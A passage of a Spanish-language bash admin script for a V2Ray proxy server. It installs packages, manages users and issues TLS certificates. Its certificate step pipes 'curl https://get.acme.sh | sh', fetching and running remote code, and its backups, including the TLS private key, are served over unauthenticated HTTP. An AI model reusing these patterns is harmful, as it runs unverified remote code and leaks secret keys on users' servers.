"bc"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "bc"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install bc................... $ESTATUS " +#uuidgen +[[ $(dpkg --get-selections|grep -w "uuid-runtime"|head -1) ]] || sudo apt-get install uuid-runtime -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "uuid-runtime"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "uuid-runtime"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install uuid-runtime......... $ESTATUS " +#python +[[ $(dpkg --get-selections|grep -w "python"|head -1) ]] || apt-get install python -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "python"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "python"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install python............... $ESTATUS " +#pip +[[ $(dpkg --get-selections|grep -w "python-pip"|head -1) ]] || apt-get install python-pip -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "python-pip"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "python-pip"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install python-pip........... $ESTATUS " +#python3 +[[ $(dpkg --get-selections|grep -w "python3"|head -1) ]] || apt-get install python3 -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "python3"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "python3"|head -1) ]] && ESTATUS=`echo -e "\e[3;32mINSTALADO\e[0m"` &>/dev/null +echo -e "\033[97m # apt-get install python3.............. $ESTATUS " +#python3-pip +[[ $(dpkg --get-selections|grep -w "python3-pip"|head -1) ]] || apt-get install python3-pip -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "python3-pip"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "python3-pip"|head -1) ]] && ESTATUS=`echo -e "\e[3;32mINSTALADO\e[0m"` &>/dev/null +echo -e "\033[97m # apt-get install python3-pip.......... $ESTATUS " +#QRENCODE +[[ $(dpkg --get-selections|grep -w "qrencode"|head -1) ]] || apt-get install qrencode -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "qrencode"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "qrencode"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install qrencode............. $ESTATUS " +#jq +[[ $(dpkg --get-selections|grep -w "jq"|head -1) ]] || apt-get install jq -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "jq"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "jq"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install jq................... $ESTATUS " +#curl +[[ $(dpkg --get-selections|grep -w "curl"|head -1) ]] || apt-get install curl -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "curl"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "curl"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install curl................. $ESTATUS " +#npm +[[ $(dpkg --get-selections|grep -w "npm"|head -1) ]] || apt-get install npm -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "npm"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "npm"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install npm.................. $ESTATUS " +#nodejs +[[ $(dpkg --get-selections|grep -w "nodejs"|head -1) ]] || apt-get install nodejs -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "nodejs"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "nodejs"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install nodejs............... $ESTATUS " +#socat +[[ $(dpkg --get-selections|grep -w "socat"|head -1) ]] || apt-get install socat -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "socat"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "socat"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install socat................ $ESTATUS " +#netcat +[[ $(dpkg --get-selections|grep -w "netcat"|head -1) ]] || apt-get install netcat -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "netcat"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "netcat"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install netcat............... $ESTATUS " +#netcat-traditional +[[ $(dpkg --get-selections|grep -w "netcat-traditional"|head -1) ]] || apt-get install netcat-traditional -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "netcat-traditional"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "netcat-traditional"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install netcat-traditional... $ESTATUS " +#net-tools +[[ $(dpkg --get-selections|grep -w "net-tools"|head -1) ]] || apt-get net-tools -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "net-tools"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "net-tools"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install net-tools............ $ESTATUS " +#cowsay +[[ $(dpkg --get-selections|grep -w "cowsay"|head -1) ]] || apt-get install cowsay -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "cowsay"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "cowsay"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install cowsay............... $ESTATUS " +#figlet +[[ $(dpkg --get-selections|grep -w "figlet"|head -1) ]] || apt-get install figlet -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "figlet"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "figlet"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install figlet............... $ESTATUS " +#lolcat +apt-get install lolcat -y &>/dev/null +sudo gem install lolcat &>/dev/null +[[ $(dpkg --get-selections|grep -w "lolcat"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "lolcat"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install lolcat............... $ESTATUS " + +msg -bar3 +echo -e "\033[92m La instalacion de paquetes necesarios a finalizado" +msg -bar3 +echo -e "\033[97m Si la instalacion de paquetes tiene fallas" +echo -ne "\033[97m Puede intentar de nuevo [s/n]: " +read inst +[[ $inst = @(s|S|y|Y) ]] && install_ini +} + +autB(){ + if [[ ! $(cat $v2rdir/conf | grep "autBackup" | cut -d " " -f2) = "0" ]]; then + autBackup + fi + } + +restore(){ + clear + + unset num + unset opcion + unset _res + + if [[ -z $(ls $backdir) ]]; then + title " no se encontraron respaldos" + sleep 0.5 + return + fi + + num=1 + title " Lista de Respaldos creados" + blanco " nom \033[0;31m| \033[1;37mfechas \033[0;31m| \033[1;37mhora" + msg -bar3 + for i in $(ls $backdir); do + col "$num)" "$i" + _res[$num]=$i + let num++ + done + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco " cual desea restaurar?" 0 + read opcion + + [[ $opcion = 0 ]] && return + [[ -z $opcion ]] && blanco "\n deves seleccionar una opcion!" && sleep 0.1 && return + [[ ! $opcion =~ $numero ]] && blanco "\n solo deves ingresar numeros!" && sleep 0.1 && return + [[ $opcion -gt ${#_res[@]} ]] && blanco "\n solo numeros entre 0 y ${#_res[@]}" && sleep 0.1 && return + + mkdir $backdir/tmp + tar xpf $backdir/${_res[$opcion]} -C $backdir/tmp/ + + clear + title " Archivos que se restauran" + + if rm -rf $config && cp $tmpdir/config.json $temp; then + sleep 0.1 + echo "cat $temp | jq '.inbounds[].streamSettings.tlsSettings += {certificates:[{certificateFile:\"/data/v2ray.crt\",keyFile:\"/data/v2ray.key\"}]}' >> $config" | bash + chmod 777 $config + rm $temp + blanco " /etc/v2ray/config.json..." && verde "[ok]" + else + blanco " /etc/v2ray/config.json..." && rojo "[fail]" + fi + + if rm -rf $user_conf && cp $tmpdir/user $user_conf; then + blanco " /etc/v2r/user..." && verde "[ok]" + else + blanco " /etc/v2r/user..." && rojo "[fail]" + fi + [[ -e $tmpdir/fullchain.cer ]] && mv $tmpdir/fullchain.cer $tmpdir/fullchain.crt + if rm -rf /data && mkdir /data && cp $tmpdir/*.crt /data/v2ray.crt && cp $tmpdir/*.key /data/v2ray.key; then + blanco " /data/v2ray.crt..." && verde "[ok]" + blanco " /data/v2ray.key..." && verde "[ok]" + else + blanco " /data/v2ray.crt..." && rojo "[fail]" + blanco " /data/v2ray.key..." && rojo "[fail]" + msg -bar3 + echo -e "VALIDA TU CERTIFICADO SSL " + v2ray tls + fi + rm -rf $tmpdir + msg -bar3 + continuar + read foo +} + +server(){ + clear + + if [[ $(npm ls -g | grep "http-server") = "" ]]; then + npm install --global http-server + clear + fi + + if [[ $(ps x | grep "http-server" | grep -v grep) = "" ]]; then + screen -dmS online http-server /etc/v2r/back/ --port 95 -s + title " Respaldos en linea" + col "su url:" "http://$(wget -qO- ipv4.icanhazip.com):95" + msg -bar3 + continuar + read foo + else + killall http-server + title " servidor detenido..." + sleep 0.1 + fi + } + +autBackup(){ + unset fecha + unset hora + unset tmp + unset back + unset cer + unset key + #fecha=`date +%d-%m-%y-%R` + fecha=`date +%d-%m-%y` + hora=`date +%R` + tmp="$backdir/tmp" && [[ ! -d ${tmp} ]] && mkdir ${tmp} + back="$backdir/v2r___${fecha}___${hora}.tar" + cer=$(cat /etc/v2ray/config.json | jq -r ".inbounds[].streamSettings.tlsSettings.certificates[].certificateFile") + key=$(cat /etc/v2ray/config.json | jq -r ".inbounds[].streamSettings.tlsSettings.certificates[].keyFile") + + cp $user_conf $tmp + cp $config $tmp + [[ ! $cer = null ]] && [[ -e $cer ]] && cp $cer $tmp + [[ ! $key = null ]] && [[ -e $cer ]] && cp $key $tmp + + cd $tmp + tar -cpf $back * + cp $back /var/www/html/v2rayBack.tar && echo -e " + Descargarlo desde cualquier sitio con acceso WEB + LINK : http://$(wget -qO- ifconfig.me):81/v2rayBack.tar \033[0m +-------------------------------------------------------" +read -p "ENTER PARA CONTINUAR" + rm -rf $tmp + } + +on_off_res(){ + if [[ $(cat $v2rdir/conf | grep "autBackup" | cut -d " " -f2) = "0" ]]; then + echo -e "\033[0;31m[off]" + else + echo -e "\033[1;92m[on]" + fi + } + +blanco(){ + [[ ! $2 = 0 ]] && { + echo -e "\033[1;37m$1\033[0m" + } || { + echo -ne " \033[1;37m$1:\033[0m " + } +} + +verde(){ + [[ ! $2 = 0 ]] && { + echo -e "\033[1;32m$1\033[0m" + } || { + echo -ne " \033[1;32m$1:\033[0m " + } +} + +rojo(){ + [[ ! $2 = 0 ]] && { + echo -e "\033[1;31m$1\033[0m" + } || { + echo -ne " \033[1;31m$1:\033[0m " + } +} + +col(){ + + nom=$(printf '%-55s' "\033[0;92m${1} \033[0;31m>> \033[1;37m${2}") + echo -e " $nom\033[0;31m${3} \033[0;92m${4}\033[0m" +} + +col2(){ + + echo -e " \033[1;91m$1\033[0m \033[1;37m$2\033[0m" +} + +vacio(){ + + blanco "\n no se puede ingresar campos vacios..." +} + +cancelar(){ + + echo -e "\n \033[3;49;31minstalacion cancelada...\033[0m" +} + +continuar(){ + + echo -e " \033[3;49;32mEnter para continuar...\033[0m" +} + +title2(){ +v2rayports=`lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN" | grep v2ray | awk '{print substr($9,3); }' > /tmp/v2ray.txt && echo | cat /tmp/v2ray.txt | tr '\n' ' ' > /etc/adm-lite/v2rayports.txt && cat /etc/adm-lite/v2rayports.txt` > /dev/null 2>&1 +v2rayports=$(echo $v2rayports | awk {'print $1'}) +_tconex=$(netstat -nap | grep "$v2rayports" | grep v2ray | grep ESTABLISHED| grep tcp6 | awk {'print $5'} | awk -F ":" '{print $1}' | sort | uniq | wc -l) + v1=$(cat /etc/adm-lite/v-local.log) + v2=$(cat /bin/ejecutar/v-new.log) + msg -bar3 + [[ $v1 = $v2 ]] && echo -e " \e[97m\033[1;44m MENU V2RAY LITE [$v1] POWER BY @drowkid01 \033[0m" || echo -e " \e[97m\033[1;44m MENU V2RAY LITE POWER BY @drowkid01 [$v1] >> \033[1;92m[$v2] \033[0m" +[[ ! -z $v2rayports ]] && echo -e " \e[97m\033[1;44mPUERTO ACTIVO :\033[0m \033[3;32m$v2rayports\033[0m \e[97m\033[1;44m ACTIVOS:\033[0m \033[3;32m\e[97m\033[1;41m $_tconex " || echo -e " \e[97m\033[1;41mERROR A INICIAR V2RAY : \033[0m \033[3;32m FAIL\033[3;32m" + } + +title(){ + msg -bar3 + blanco "$1" + msg -bar3 +} + +userDat(){ + blanco " N° Usuarios fech exp dias" + msg -bar3 +} + +#============================================ +domain_check() { + ssl_install_fun + clear + msg -bar3 + echo -e " \033[1;49;37mgenerador de certificado ssl/tls\033[0m" + msg -bar3 + echo -e " \033[1;49;37mingrese su dominio (ej: midominio.com.ar)\033[0m" + echo -ne ' \033[3;49;31m>>>\033[0m ' + read domain + + echo -e "\n \033[1;49;36mOteniendo resolucion dns de su dominio...\033[0m" + domain_ip=$(ping "${domain}" -c 1 | sed '1{s/[^(]*(//;s/).*//;q}') + + echo -e "\n \033[1;49;36mOteniendo IP local...\033[0m" + local_ip=$(wget -qO- ipv4.icanhazip.com) + sleep 0.5 + + while : + do + if [[ $(echo "${local_ip}" | tr '.' '+' | bc) -eq $(echo "${domain_ip}" | tr '.' '+' | bc) ]]; then + clear + msg -bar3 + echo -e " \033[1;49;37mSu dominio: ${domain}\033[0m" + msg -bar3 + echo -e " \033[1;49;37mIP dominio:\033[0m \033[1;49;32m${domain_ip}\033[0m" + echo -e " \033[1;49;37mIP local:\033[0m \033[1;49;32m${local_ip}\033[0m" + msg -bar3 + echo -e " \033[1;49;32mComprovacion exitosa\033[0m" + echo -e " \033[1;49;37mLa IP de su dominio coincide\n con la IP local, desea continuar?\033[0m" + msg -bar3 + echo -ne " \033[1;49;37msi o no [S/N]:\033[0m " + read opcion + case $opcion in + [Yy]|[Ss]) port_exist_check;; + [Nn]) cancelar && sleep 0.5;; + *) echo -e "\n \033[1;49;37mselecione (S) para si o (N) para no!\033[0m" && sleep 0.5 && continue;; + esac + else + clear + msg -bar3 + echo -e " \033[1;49;37mSu dominio: ${domain}\033[0m" + msg -bar3 + echo -e " \033[1;49;37mIP dominio:\033[0m \033[3;49;31m${domain_ip}\033[0m" + echo -e " \033[1;49;37mIP local:\033[0m \033[3;49;31m${local_ip}\033[0m" + msg -bar3 + echo -e " \033[3;49;31mComprovacion fallida\033[0m" + echo -e " \033[4;49;97mLa IP de su dominio no coincide\033[0m\n \033[4;49;97mcon la IP local\033[0m" + msg -bar3 + echo -e " \033[1;49;36m> Asegúrese que se agrego el registro" + echo -e " (A) correcto al nombre de dominio." + echo -e " > Asegurece que su registro (A)" + echo -e " no posea algun tipo de seguridad" + echo -e " adiccional y que solo resuelva DNS." + echo -e " > De lo contrario, V2ray no se puede" + echo -e " utilizar normalmente...\033[0m" + msg -bar3 + echo -e " \033[1;49;37mdesea continuar?" + echo -ne " si o no [S/N]:\033[0m " + read opcion + case $opcion in + [Yy]|[Ss]) port_exist_check;; + [Nn]) cancelar && sleep 0.5;; + *) echo -e "\n \033[1;49;37mselecione (S) para si o (N) para no!\033[0m" && sleep 0.2 && continue;; + esac + fi + break + done +} + +port_exist_check() { + while : + do + clear + msg -bar3 + echo -e " \033[1;49;37mPara la compilacion del certificado" + echo -e " se requiere que los siguientes puerto" + echo -e " esten libres." + echo -e " '80' '443'" + echo -e " este script intentara detener" + echo -e " cualquier proseso que este" + echo -e " usando estos puertos\033[0m" + msg -bar3 + echo -e " \033[1;49;37mdesea continuar?" + echo -ne " [S/N]:\033[0m " + read opcion + + case $opcion in + [Ss]|[Yy]) + ports=('80' '443') + clear + msg -bar3 + echo -e " \033[1;49;37mcomprovando puertos...\033[0m" + msg -bar3 + sleep 0.2 + for i in ${ports[@]}; do + [[ 0 -eq $(lsof -i:$i | grep -i -c "listen") ]] && { + echo -e " \033[3;49;32m$i [OK]\033[0m" + } || { + echo -e " \033[3;49;31m$i [fail]\033[0m" + } + done + msg -bar3 + for i in ${ports[@]}; do + [[ 0 -ne $(lsof -i:$i | grep -i -c "listen") ]] && { + echo -ne " \033[1;49;37mliberando puerto $i...\033[1;49;37m " + lsof -i:$i | awk '{print $2}' | grep -v "PID" | xargs kill -9 + echo -e "\033[1;49;32m[OK]\033[0m" + } + done + ;; + [Nn]) cancelar && sleep 0.2 && break;; + *) echo -e "\n \033[1;49;37mselecione (S) para si o (N) para no!\033[0m" && sleep 0.2;; + esac + continuar + read foo + ssl_install + break + done +} + +ssl_install() { + while : + do + + if [[ -f "/data/v2ray.key" || -f "/data/v2ray.crt" ]]; then + clear + msg -bar3 + echo -e " \033[1;49;37mya existen archivos de certificados" + echo -e " en el directorio asignado.\033[0m" + msg -bar3 + echo -e " \033[1;49;37mENTER para canselar la instacion." + echo -e " 'S' para eliminar y continuar\033[0m" + msg -bar3 + echo -ne " opcion: " + read ssl_delete + case $ssl_delete in + [Ss]|[Yy]) + rm -rf /data/* + echo -e " \033[3;49;32marchivos removidos..!\033[0m" + sleep 0.2 + ;; + *) cancelar && sleep 0.2 && break;; + esac + fi + + if [[ -f "$HOME/.acme.sh/${domain}_ecc/${domain}.key" || -f "$HOME/.acme.sh/${domain}_ecc/${domain}.cer" ]]; then + msg -bar3 + echo -e " \033[1;49;37mya existe un almacer de certificado" + echo -e " bajo este nombre de dominio\033[0m" + msg -bar3 + echo -e " \033[1;49;37m'ENTER' cansela la instalacion" + echo -e " 'D' para eliminar y continuar" + echo -e " 'R' para restaurar el almacen crt\033[0m" + msg -bar3 + echo -ne " opcion: " + read opcion + case $opcion in + [Dd]) + echo -e " \033[1;49;92meliminando almacen cert...\033[0m" + sleep 0.2 + rm -rf $HOME/.acme.sh/${domain}_ecc + ;; + [Rr]) + echo -e " \033[1;49;92mrestaurando certificados...\033[0m" + sleep 0.2 + "$HOME"/.acme.sh/acme.sh --installcert -d "${domain}" --fullchainpath /data/v2ray.crt --keypath /data/v2ray.key --ecc + echo "cat $temp | jq '.inbounds[].streamSettings.tlsSettings += {certificates:[{certificateFile:\"/data/v2ray.crt\",keyFile:\"/data/v2ray.key\"}]}' | jq '.inbounds[] += {domain:\"$domi\"}' | jq '.inbounds[].streamSettings += {security:\"tls\"}' >> $config" | bash + restart_v2r + echo -e " \033[1;49;37mrestauracion completa...\033[0m\033[1;49;92m[ok]\033[0m" + break + ;; + *) cancelar && sleep 0.2 && break;; + esac + fi + acme + break + done +} + +ssl_install_fun() { + apt install socat netcat -y + curl https://get.acme.sh | sh +} + +acme() { + clear + msg -bar3 + echo -e " \033[1;49;37mcreando nuevos certificado ssl/tls\033[0m" + #msg -bar3 +# read -p " Ingrese correo Para Validar el acme SSL : " corrio + msg -bar3 + wget -O - https://get.acme.sh | sh -s email=$corrio + msg -bar3 + if "$HOME"/.acme.sh/acme.sh --issue -d "${domain}" --standalone -k ec-256 --force --test; then + echo -e "\n \033[1;49;37mSSL La prueba del certificado\n se emite con éxito y comienza la emisión oficial\033[0m\n" + rm -rf "$HOME/.acme.sh/${domain}_ecc" + sleep 0.2 + else + echo -e "\n \033[4;49;31mError en la emisión de la prueba del certificado SSL\033[0m" + msg -bar3 + rm -rf "$HOME/.acme.sh/${domain}_ecc" + stop=1 + fi + + if [[ 0 -eq $stop ]]; then + + if "$HOME"/.acme.sh/acme.sh --issue -d "${domain}" --standalone -k ec-256 --force; then + echo -e "\n \033[1;49;37mSSL El certificado se genero con éxito\033[0m" + msg -bar3 + sleep 0.2 + [[ ! -d /data ]] && mkdir /data + if "$HOME"/.acme.sh/acme.sh --installcert -d "${domain}" --fullchainpath /data/v2ray.crt --keypath /data/v2ray.key --ecc --force; then + msg -bar3 + mv $config $temp + echo "cat $temp | jq '.inbounds[].streamSettings.tlsSettings += {certificates:[{certificateFile:\"/data/v2ray.crt\",keyFile:\"/data/v2ray.key\"}]}' | jq '.inbounds[] += {domain:\"$domain\"}' | jq '.inbounds[].streamSettings += {security:\"tls\"}' >> $config" | bash + chmod 777 $config + rm $temp + restart_v2r + echo -e "\n \033[1;49;37mLa configuración del certificado es exitosa\033[0m" + msg -bar3 + echo -e " /data/v2ray.crt" + echo -e " /data/v2ray.key" + msg -bar3 + sleep 0.2 + fi + else + echo -e "\n \033[4;49;31mError al generar el certificado SSL\033[0m" + msg -bar3 + rm -rf "$HOME/.acme.sh/${domain}_ecc" + fi + fi + continuar + read foo +} + +#============================================ + +restart_v2r(){ + v2ray restart + #echo "reiniciando" +} + +add_user(){ + unset seg opcion + seg=$(date +%s) + while : + do + clear + users="$(cat $config | jq -r .inbounds[].settings.clients[].email)" + title " CREAR USUARIO V2RAY" + userDat + n=0 + for i in $users + do + unset DateExp + unset seg_exp + unset exp + [[ $i = null ]] && { + i="default" + a='*' + DateExp=" unlimit" + col "$a)" "$i" "$DateExp" + } || { + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + exp="[$(($(($seg_exp - $seg)) / 86400))]" + + col "$n)" "$i" "$DateExp" "$exp" + } + let n++ + done + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "NOMBRE DEL NUEVO USUARIO" 0 + read opcion + [[ -z $opcion ]] && vacio && sleep 0.3 && continue + [[ $opcion = 0 ]] && break + [[ ! -z "$(cat < $user_conf | grep -w "${opcion}")" ]] && echo -e " NOMBRE ${opcion} YA ESTA REGISTRADO " && sleep 1.1 && continue + blanco "DURACION EN DIAS" 0 + read dias + espacios=$(echo "$opcion" | tr -d '[[:space:]]') + opcion=$espacios + mv $config $temp + num=$(jq '.inbounds[].settings.clients | length' $temp) + new=".inbounds[].settings.clients[$num]" + new_id=$(uuidgen) + new_mail="email:\"$opcion\"" + aid=$(jq '.inbounds[].settings.clients[0].alterId' $temp) + echo jq \'$new += \{alterId:${aid},id:\"$new_id\","$new_mail"\}\' $temp \> $config | bash + echo "$opcion | $new_id | $(date '+%y-%m-%d' -d " +$dias days")" >> $user_conf + chmod 777 $config + rm $temp + clear + msg -bar3 + blanco " Usuario $opcion creado Exitosamente" + msg -bar3 + restart_v2r + sleep 0.2 + #fun_bar + #------------------------------------------------------------- + ps=${opcion} #$(jq .inbounds[].settings.clients[$opcion].email $config) && [[ $ps = null ]] && ps="default" + id=${new_id} #$(jq .inbounds[].settings.clients[$opcion].id $config) + aid=$(jq .inbounds[].settings.clients[].alterId $config | head -1) + add=$(jq '.inbounds[].domain' $config) && [[ $add = null ]] && add=$(wget -qO- ipv4.icanhazip.com) + host=$(jq '.inbounds[].streamSettings.wsSettings.headers.Host' $config) && [[ $host = null ]] && host='aqui.tu.host' + net=$(jq '.inbounds[].streamSettings.network' $config) + [[ $net = '"grpc"' ]] && path=$(jq '.inbounds[].streamSettings.grpcSettings.serviceName' $config) || path=$(jq '.inbounds[].streamSettings.wsSettings.path' $config) + port=$(jq '.inbounds[].port' $config) + tls=$(jq '.inbounds[].streamSettings.security' $config) + addip=$(wget -qO- ifconfig.me) + clear + msg -bar3 + blanco " Usuario: $ps" + msg -bar3 + col2 "Remarks:" "$ps" + col2 "Domain:" "$add" + col2 "IP-Address:" "$addip" + col2 "Port:" "$port" + col2 "id:" "$id" + col2 "alterId:" "$aid" + col2 "network:" "$net" + [[ $tls = '"tls"' ]] && col2 "TLS:" "ABIERTO" || col2 "TLS:" " CERRADO" + [[ $net = '"grpc"' ]] && col2 "Mode:" " GUN" || col2 "Head Type:" "none" + col2 "security:" "none" + [[ ! $host = '' ]] && col2 "Host/SNI:" "$host" + [[ $net = '"grpc"' ]] && col2 "ServiceName:" "$path" || col2 "Path:" "$path" + msg -bar3 + blanco " VMESS LINK CONFIG" + msg -bar3 + vmess + msg -bar3 + echo -e " ESTA CONFIG SOLO SE MUESTRA UNA VEZ AQUI \n SI QUIERES VOLVER A VERLA VE A LA OPCION 4 \n Y BALLASE A LA BERGA PERRO :V" + msg -bar3 + continuar + read foo + #--------------------------------------------------------------------- + done +} + +renew(){ + while : + do + unset user + clear + title " RENOVAR USUARIOS" + userDat + userEpx=$(cut -d " " -f1 $user_conf) + n=1 + for i in $userEpx + do + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + [[ "$seg" -gt "$seg_exp" ]] && { + col "$n)" "$i" "$DateExp" "\033[0;31m[Exp]" + uid[$n]="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f2|tr -d '[[:space:]]')" + user[$n]=$i + let n++ + } + done + [[ -z ${user[1]} ]] && blanco " No hay expirados" + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "NUMERO DE USUARIO A RENOVAR" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && continue + [[ $opcion = 0 ]] && break + + [[ ! $opcion =~ $numero ]] && { + blanco " solo numeros apartir de 1" + sleep 0.2 + } || { + [[ $opcion>=${n} ]] && { + let n-- + blanco "solo numero entre 1 y $n" + sleep 0.2 + } || { + blanco "DURACION EN DIAS" 0 + read dias + + mv $config $temp + num=$(jq '.inbounds[].settings.clients | length' $temp) + aid=$(jq '.inbounds[].settings.clients[0].alterId' $temp) + echo "cat $temp | jq '.inbounds[].settings.clients[$num] += {alterId:${aid},id:\"${uid[$opcion]}\",email:\"${user[$opcion]}\"}' >> $config" | bash + sed -i "/${user[$opcion]}/d" $user_conf + echo "${user[$opcion]} | ${uid[$opcion]} | $(date '+%y-%m-%d' -d " +$dias days")" >> $user_conf + chmod 777 $config + rm $temp + clear + msg -bar3 + blanco " Usuario ${user[$opcion]} renovado Exitosamente" + msg -bar3 + restart_v2r + sleep 0.2 + } + } + done +} + +autoDel(){ + seg=$(date +%s) + while : + do + unset users + users=$(cat $config | jq .inbounds[].settings.clients[] | jq -r .email) + n=0 + for i in $users + do + [[ ! $i = null ]] && { + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + [[ "$seg" -gt "$seg_exp" ]] && { + mv $config $temp + echo jq \'del\(.inbounds[].settings.clients[$n]\)\' $temp \> $config | bash + chmod 777 $config + rm $temp + continue + } + } + let n++ + done + break + done + restart_v2r + } + +dell_user(){ + unset seg + seg=$(date +%s) + while : + do + clear + users=$(cat $config | jq .inbounds[].settings.clients[] | jq -r .email) + title " ELIMINAR USUARIO V2RAY" + userDat + n=0 + for i in $users + do + userd[$n]=$i + unset DateExp + unset seg_exp + unset exp + + [[ $i = null ]] && { + i="default" + a='*' + DateExp=" unlimit" + col "$a)" "$i" "$DateExp" + } || { + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + exp="[$(($(($seg_exp - $seg)) / 86400))]" + col "$n)" "$i" "$DateExp" "$exp" + } + p=$n + let n++ + done + userEpx=$(cut -d " " -f 1 $user_conf) + for i in $userEpx + do + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + [[ "$seg" -gt "$seg_exp" ]] && { + col "$n)" "$i" "$DateExp" "\033[0;31m[Exp]" + expUser[$n]=$i + } + let n++ + done + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "NUMERO DE USUARIO A ELIMINAR" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && continue + [[ $opcion = 0 ]] && break + + [[ ! $opcion =~ $numero ]] && { + blanco " solo numeros apartir de 1" + sleep 0.2 + } || { + let n-- + [[ $opcion -gt ${n} ]] && { + blanco "solo numero entre 1 y $n" + sleep 0.2 + } || { + [[ $opcion>=${p} ]] && { + sed -i "/${expUser[$opcion]}/d" $user_conf + 